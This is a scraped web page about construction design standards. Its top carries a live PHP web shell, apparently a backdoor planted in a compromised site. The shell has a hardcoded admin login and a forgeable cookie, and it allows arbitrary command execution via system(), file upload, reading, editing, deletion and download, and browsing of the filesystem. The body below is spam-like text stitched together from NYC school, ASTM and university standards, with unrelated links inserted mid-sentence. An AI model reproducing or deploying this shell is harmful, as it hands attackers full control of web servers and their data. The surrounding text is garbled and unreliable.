if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '
'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Design Standards – collectives.berlin

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Design Standards

construction design standards

Intended for use in the design of new buildings and other structures… Guidance for infiltration-based stormwater control measures (SCMs) for permeable soils and addresses… New recommendations to help develop and implement sustainable solutions over a project’s…

construction design standards

Project drawing documents require modification to meet the conditions and requirements of each project. The Design and Construction Standards, comprised of the Design Criteria, Technical Specifications and Supplemental Standards, are the Owner’s Design Requirements in addition to the programmatic requirements of the project. Supplemental Standards – The Supplemental Standards are various documents, such as standard operating procedures, checklists, and regulatory forms that identify requirements which the designer and contractor shall follow throughout the course of their work.

The Standard Specifications define the materials acceptable for use in New York City public schools, and are based on and complement the Design Requirements. They require modification based on actual room layout and size, and for existing rooms may end up being modified due to space and program constraints. The Room Planning Standards provide the design basis for all spaces in New York City schools, including all intended equipment and general locations of furnishing. The 2025 NYC Energy Conservation Code is effective as of December 31, 2025, with compliance enforcement by the NYC Depart of Buildings effective around March 31, 2026. The Design Requirements can be viewed in their entirety or each technical division can be seen individually. Designers are also to ensure they do not include the items from the list in their design specifications when creating project specifications.

construction design standards

Matrix of Changes to Existing RPS

construction design standards

All buildings and other projects for the university shall be designed as quality institutional facilities with components specified to provide maximum life-cycle usefulness. Includes on-site inspection to the quality of your laboratory’s testing to ASTM standards, related lab equipment, and performance of personnel. During construction submittal review, Designers are to review materials/products for their projects based on the performance criteria included in the specifications. For projects that have a system that is not included in the specification, the designer is to create the section based on the formatting. Design Criteria – The Design Criteria documents provide performance requirements for a system or space to be followed by the designer (architect, engineer, landscape architect, contractor for small projects, etc.), which are organized by discipline, CSI Division, or building system. Until the new RPS is complete, please use the matrix below to modify project drawings (based https://invest24news.com/universal-foundation-technology-tise.html on the current RPS).

  • ASTM’s premier engineering journal provides high-quality papers on a broad range of topics relating to the properties and performance of civil engineering materials.
  • The Standard Specifications define the materials acceptable for use in New York City public schools, and are based on and complement the Design Requirements.
  • All Drawings prepared for the SCA shall use the Standard Title Sheets to ensure consistency in presentation for all projects.
  • Design professionals or UF project managers should submit and receive approval of such variances before incorporating changes into the design documents or proceeding with work that varies from these Standards.
  • During construction submittal review, Designers are to review materials/products for their projects based on the performance criteria included in the specifications.

Taught by the experts who develop ASTM building construction standards, these engaging and immersive training courses cover a range of topics. Programs include portland cement, blended cement, portland-limestone, concrete, masonry mortar, pozzolan, and potential alkali reactivity of aggregates. Helps labs maintain peak performance in between on-site inspections from accreditation bodies. Programs include cement, concrete, aggregates, pozzolan, slag cement, steel reinforcing bars, masonry, and more.

The ASTM CCRL provides the instruction, guidance, and clarification your lab needs to apply ASTM construction standards accurately and consistently. Learn more about the work ASTM committees do to develop international standards that keep our buildings and infrastructures safe and secure. Access the construction standards and building codes your team needs with a https://ecobusinessdesign.com/for-the-construction-of-large-settlements-modular-2.html customized ASTM Compass® license.

Construction Training and Certification

Deviations from the standards on capacity projects must be approved through the Deviations Committee. All Drawings prepared for the SCA shall use the Standard Title Sheets to ensure consistency in presentation for all projects. Consultants, service providers, vendors, and contractors responsible for projects at Duke must adhere to all applicable building codes and the Duke University Construction Standards. Describes deficiency-based and systematic procedures that use performance-based principles to evaluate and… Provides guidelines on the evaluation and enhancement of physical security of facilities…

  • The ASTM CCRL provides the instruction, guidance, and clarification your lab needs to apply ASTM construction standards accurately and consistently.
  • The Professional is charged to monitor program requirements and cost estimates to assure that the project is designed within available funding, and that it does not deviate from the quality standards established in this manual.
  • Access the construction standards and building codes your team needs with a customized ASTM Compass® license.
  • The Designer shall use the appropriate sheet size and border for the project, with 24½”x 36½” being the preferred size.
  • Until the RPS is revised, please use the matrix to modify the published RPS for use on the project.

construction design standards

Offers guidance to ensure that existing buildings can be retrofitted to withstand… Find all our publications for the buildings and construction and much more in the ASTM Digital Library, powered by Silverchair. Our Construction Materials Testing Certification Program is designed for laboratory and field technicians who test and inspect construction materials.

The Room Planning Standards provide the design basis for all spaces in New York City Public Schools, including all intended equipment and general locations of furnishings. Requests for project-specific variances OR permanent changes to the UF D&C Standards should be submitted via the Variance Request Form via email. Design professionals or UF project managers should submit and receive approval of such variances before incorporating changes into the design documents or proceeding with work that varies from these Standards. These Standards are mostly general in nature, and project-specific conditions or requirements may warrant a deviation or variance. Along with the UF Design & Commissioning Services Guide, these Standards should be used by design professionals as a guide when developing project designs. These Standards have been established to express the requirements common to all facilities comprising the main UF campus, along with Appendices that express specific requirements.

For Contractors – Primary General Contractors and Subconsultants

The Standard https://mosesolmos.com/fences-made-of-concrete-blocks.html Specifications define the materials acceptable for use in New York City Public Schools, and are based on and complement the Design Requirements. The Designer shall use the appropriate sheet size and border for the project, with 24½”x 36½” being the preferred size. The Standard Details are to be used as an aid in creating Contract Documents and are based on the SCA Standard Specifications and Design Requirements.

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